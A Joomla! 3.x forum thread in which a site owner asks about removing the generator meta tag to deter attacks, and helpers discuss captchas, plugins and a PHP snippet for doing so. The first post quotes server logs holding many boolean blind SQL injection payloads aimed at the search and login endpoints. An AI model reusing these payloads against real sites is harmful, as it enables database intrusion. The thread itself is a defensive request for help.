Can we just remove <meta name="generator" content="Joomla! >?

General questions relating to Joomla! 3.x.

Moderator: General Support Moderators

Forum rules
Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting.
Forum Post Assistant - If you are serious about wanting help, you should use this tool to help you post.
Windows Defender SmartScreen Issues <-- please read this if using Windows 10
Post Reply
vicn1222
Joomla! Intern
Joomla! Intern
Posts: 63
Joined: Fri Jul 02, 2021 10:34 pm

Can we just remove <meta name="generator" content="Joomla! >?

Post by vicn1222 » Sat Sep 25, 2021 4:10 pm

Finally got website converted to joomla and today is the first day it is online.

Already have huge attacks. I try to ban the bad IPs using firewall, but it seems he has many IPs.

I think the problem is joomla header, which let bad guy know what it is, and find correct attack tools. I edit the code to remove that "generator", but got wiped out on a new update.

<meta name="generator" content="Joomla! - Open Source Content Management" />


(1) Got 2 spam emails, even though I have Captcha on. I had my own simple spam verification on my contact page for years, and never got a single spam email. I simply generate two random numbers, and ask the person to sum them (number is shown inside images), such as 9 + 7 = ?

(2) Someone is attacking with SQL query on search page and sign-in page, such as

Code: Select all

194.61.25.18 - - [25/Sep/2021:01:54:19 -0500] "GET /insider-trading/\"%20RLIKE%20(SELECT%20(CASE%20WHEN%20(4164=6508)%20THEN%20''%20ELSE%200x28%20END))--%20DAyx2016.htm HTTP/1.1" 500 5872 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:20 -0500] "GET /insider-trading/\"%20RLIKE%20(SELECT%20(CASE%20WHEN%20(4220=4220)%20THEN%20''%20ELSE%200x28%20END))--%20phWW2016.htm HTTP/1.1" 500 5872 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:20 -0500] "GET /insider-trading/)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(8656=9419)%20THEN%20''%20ELSE%200x28%20END))%20AND%20(7416=74162016.htm HTTP/1.1" 500 5872 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:21 -0500] "GET /insider-trading/)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(4220=4220)%20THEN%20''%20ELSE%200x28%20END))%20AND%20(1087=10872016.htm HTTP/1.1" 500 5872 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:22 -0500] "GET /insider-trading/))%20RLIKE%20(SELECT%20(CASE%20WHEN%20(1431=1548)%20THEN%20''%20ELSE%200x28%20END))%20AND%20((8396=83962016.htm HTTP/1.1" 500 5872 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:23 -0500] "GET /insider-trading/))%20RLIKE%20(SELECT%20(CASE%20WHEN%20(4220=4220)%20THEN%20''%20ELSE%200x28%20END))%20AND%20((8073=80732016.htm HTTP/1.1" 500 5872 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:23 -0500] "GET /insider-trading/)))%20RLIKE%20(SELECT%20(CASE%20WHEN%20(6195=8060)%20THEN%20''%20ELSE%200x28%20END))%20AND%20(((7613=76132016.htm HTTP/1.1" 500 5774 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:24 -0500] "GET /insider-trading/)))%20RLIKE%20(SELECT%20(CASE%20WHEN%20(4220=4220)%20THEN%20''%20ELSE%200x28%20END))%20AND%20(((5611=56112016.htm HTTP/1.1" 500 5774 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:25 -0500] "GET /insider-trading/%20RLIKE%20(SELECT%20(CASE%20WHEN%20(9782=6062)%20THEN%20''%20ELSE%200x28%20END))2016.htm HTTP/1.1" 500 5872 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:26 -0500] "GET /insider-trading/%20RLIKE%20(SELECT%20(CASE%20WHEN%20(4220=4220)%20THEN%20''%20ELSE%200x28%20END))2016.htm HTTP/1.1" 500 5872 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"
194.61.25.18 - - [25/Sep/2021:01:54:26 -0500] "GET /insider-trading/')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(6565=7780)%20THEN%20''%20ELSE%200x28%20END))%20AND%20('BHoJ'='BHoJ2016.htm HTTP/1.1" 500 6114 "https://www.secform4.com:443/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"


194.61.25.18 - - [25/Sep/2021:10:51:09 -0500] "POST /account/sign-in?task=user.login%29%20AND%208819%3DCAST%28%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28112%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288819%3D8819%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%287934%3D7934 HTTP/1.1" 200 8632 "-" "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3"
194.61.25.18 - - [25/Sep/2021:10:51:09 -0500] "POST /account/sign-in?task=user.login%20AND%208819%3DCAST%28%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28112%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288819%3D8819%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29 HTTP/1.1" 200 8621 "-" "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3"
194.61.25.18 - - [25/Sep/2021:10:51:10 -0500] "POST /account/sign-in?task=user.login%27%29%20AND%208819%3DCAST%28%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28112%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288819%3D8819%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%28%27DTym%27%3D%27DTym HTTP/1.1" 200 8632 "-" "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3"
194.61.25.18 - - [25/Sep/2021:10:51:11 -0500] "POST /account/sign-in?task=user.login%27%20AND%208819%3DCAST%28%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28112%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288819%3D8819%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%27haTS%27%3D%27haTS HTTP/1.1" 200 8632 "-" "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3"
194.61.25.18 - - [25/Sep/2021:10:51:12 -0500] "POST /account/sign-in?task=user.login%20AND%208819%3DCAST%28%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28112%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288819%3D8819%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29--%20hcJb HTTP/1.1" 200 8627 "-" "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3"
194.61.25.18 - - [25/Sep/2021:10:51:12 -0500] "POST /account/sign-in?task=user.login%29%20AND%207108%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28106%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%287108%3D7108%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28106%29%2BCHAR%28113%29%29%29%20AND%20%285878%3D5878 HTTP/1.1" 200 8643 "-" "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3"
194.61.25.18 - - [25/Sep/2021:10:51:13 -0500] "POST /account/sign-in?task=user.login%20AND%207108%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28106%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%287108%3D7108%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28106%29%2BCHAR%28113%29%29%29 HTTP/1.1" 200 8632 "-" "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3"
194.61.25.18 - - [25/Sep/2021:10:51:14 -0500] "POST /account/sign-in?task=user.login%27%29%20AND%207108%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28106%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%287108%3D7108%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28106%29%2BCHAR%28113%29%29%29%20AND%20%28%27kMmu%27%3D%27kMmu HTTP/1.1" 200 8643 "-" "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3"

User avatar
Per Yngve Berg
Joomla! Master
Joomla! Master
Posts: 28218
Joined: Mon Oct 27, 2008 9:27 pm
Location: Romerike, Norway

Re: Can we just remove <meta name="generator" content="Joomla! >?

Post by Per Yngve Berg » Sat Sep 25, 2021 5:22 pm

There is so many ways to identify Joomla, so a missing generator will not make any difference.



1) I'm getting no spam either, using HashCash as Captcha.

https://extensions.joomla.org/extension/hashcash/

User avatar
sozzled
Joomla! Master
Joomla! Master
Posts: 10964
Joined: Sun Jul 05, 2009 3:30 am
Location: Canberra, Australia

Re: Can we just remove <meta name="generator" content="Joomla! >?

Post by sozzled » Sat Sep 25, 2021 7:13 pm

See viewtopic.php?f=803&t=987908#p3638294 for how to remove "generator" tag.
“If you think I’m wrong then say, ‘I think you’re wrong.’ If you say ‘You’re wrong!’, how do you know?” :)

User avatar
JTema
Joomla! Guru
Joomla! Guru
Posts: 689
Joined: Sun Apr 13, 2008 8:10 pm

Re: Can we just remove <meta name="generator" content="Joomla! >?

Post by JTema » Sat Sep 25, 2021 7:16 pm

Also make sure that invisible recaptcha (V2) which is more effective is enabled. See that topic : viewtopic.php?f=706&t=970169
http://www.joomlatema.net - Joomla Extensions and Templates
https://andalusa.joomlatema.net - Andalusa Professional Responsive Joomla Template

User avatar
sozzled
Joomla! Master
Joomla! Master
Posts: 10964
Joined: Sun Jul 05, 2009 3:30 am
Location: Canberra, Australia

Re: Can we just remove <meta name="generator" content="Joomla! >?

Post by sozzled » Sat Sep 25, 2021 7:23 pm

The meta generator tag has nothing to do with spam (or counter-spam measures that people may recommend or use). 8)
“If you think I’m wrong then say, ‘I think you’re wrong.’ If you say ‘You’re wrong!’, how do you know?” :)

vicn1222
Joomla! Intern
Joomla! Intern
Posts: 63
Joined: Fri Jul 02, 2021 10:34 pm

Re: Can we just remove <meta name="generator" content="Joomla! >?

Post by vicn1222 » Sun Sep 26, 2021 4:31 am

sozzled wrote:
Sat Sep 25, 2021 7:13 pm
See viewtopic.php?f=803&t=987908#p3638294 for how to remove "generator" tag.
Thanks, the tag is removed using code below

Code: Select all

    $document = JFactory::getDocument();
    $document->setGenerator( "" );
@JTema : will try the invisible recaptcha.

Have to find a way to automatically ban the bad IPs.

User avatar
sozzled
Joomla! Master
Joomla! Master
Posts: 10964
Joined: Sun Jul 05, 2009 3:30 am
Location: Canberra, Australia

Re: Can we just remove <meta name="generator" content="Joomla! >?

Post by sozzled » Sun Sep 26, 2021 4:49 am

vicn1222 wrote:
Sun Sep 26, 2021 4:31 am
Have to find a way to automatically ban the bad IPs.
As I wrote (and @Per also observed), the "meta generator" tag has nothing to do with spam ...

Yes, you can remove the meta generator tag by removing a couple of lines from the your site template and, when there's a new update for J!, those lines will be added back in again. That's why you need a system plugin to do this for you automatically. ;)
“If you think I’m wrong then say, ‘I think you’re wrong.’ If you say ‘You’re wrong!’, how do you know?” :)

User avatar
imanickam
Joomla! Master
Joomla! Master
Posts: 27758
Joined: Wed Aug 13, 2008 2:57 am
Location: Chennai, India

Re: Can we just remove <meta name="generator" content="Joomla! >?

Post by imanickam » Sun Sep 26, 2021 5:22 am

sozzled wrote:
Sun Sep 26, 2021 4:49 am
That's why you need a system plugin to do this for you automatically.
Such Plugin already exists in JED - ByeByeGenerator (https://extensions.joomla.org/extension ... generator/)
Ilagnayeru (MIG) Manickam | இளஞாயிறு மாணிக்கம்
Joomla! - Global Moderators Team | Joomla! Core - Tamil (தமிழ்) Translation Team Coordinator
ex-Joomla! Translations Coordination Team
Eegan - Support the poor and underprivileged

User avatar
sozzled
Joomla! Master
Joomla! Master
Posts: 10964
Joined: Sun Jul 05, 2009 3:30 am
Location: Canberra, Australia

Re: Can we just remove <meta name="generator" content="Joomla! >?

Post by sozzled » Sun Sep 26, 2021 5:28 am

@imanickam: yes, you're right: that plugin exists for J! 3.x but it does not work with J! 4. @Sharky created a plugin that works for both J! 3 and J! 4. :) You can read the discussion here: viewtopic.php?f=803&t=987908.
“If you think I’m wrong then say, ‘I think you’re wrong.’ If you say ‘You’re wrong!’, how do you know?” :)


Post Reply

Return to “General Questions/New to Joomla! 3.x”